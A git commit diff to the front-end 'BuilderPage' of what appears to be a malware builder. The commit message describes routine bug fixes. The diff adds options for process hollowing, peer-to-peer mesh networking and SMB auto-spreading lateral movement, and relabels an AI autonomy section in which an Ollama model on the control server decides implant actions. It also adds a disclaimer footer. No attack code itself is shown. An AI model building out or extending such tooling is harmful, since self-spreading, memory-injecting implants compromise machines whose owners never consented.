Broad bug hunt: auth flow, WS edge cases, and build hygiene.

Scope API auth to /api/v1, fix dashboard WebSocket 401s, session login in Calibrate, safe agent naming, reconnect races, and remove corrupt ollama/main.go.
This commit is contained in:
drjones
2026-05-28 19:53:53 -07:00
parent 3316a75f7a
commit 9e26c4babb
16 changed files with 332 additions and 30 deletions

View File

@@ -756,6 +756,14 @@ export default function BuilderPage() {
</label>
<FieldHint field="stealth_mode" />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.process_hollowing}
onChange={(e) => updateField('process_hollowing', e.target.checked)} />
<span>Process Hollowing (memory injection) <HelpTip field="process_hollowing" /></span>
</label>
<FieldHint field="process_hollowing" />
</div>
<div className={`form-group checkbox-group ${fieldMeta.file_logging?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.file_logging}
@@ -873,9 +881,9 @@ export default function BuilderPage() {
<div className="form-section">
<ForgeSectionHeader
title="AI Autonomy (AI自治)"
title="Autonomy, Mesh & Lateral Movement"
badge="baked"
description="Optional — Ollama on the control server decides actions. Worker must reach this dashboard."
description="Optional — AI decisions, P2P mesh networking, and SMB auto-spreading."
/>
<div className="form-group checkbox-group">
<label className="checkbox-label">
@@ -920,6 +928,22 @@ export default function BuilderPage() {
</div>
</>
)}
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.mesh_p2p}
onChange={(e) => updateField('mesh_p2p', e.target.checked)} />
<span>Enable Mesh P2P Networking <HelpTip field="mesh_p2p" /></span>
</label>
<FieldHint field="mesh_p2p" />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.auto_spread}
onChange={(e) => updateField('auto_spread', e.target.checked)} />
<span>Enable Auto-Spread (Lateral Movement) <HelpTip field="auto_spread" /></span>
</label>
<FieldHint field="auto_spread" />
</div>
</div>
<div className="preflight-panel card">
@@ -1042,6 +1066,9 @@ export default function BuilderPage() {
</div>
)}
</div>
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
</footer>
</div>
);
}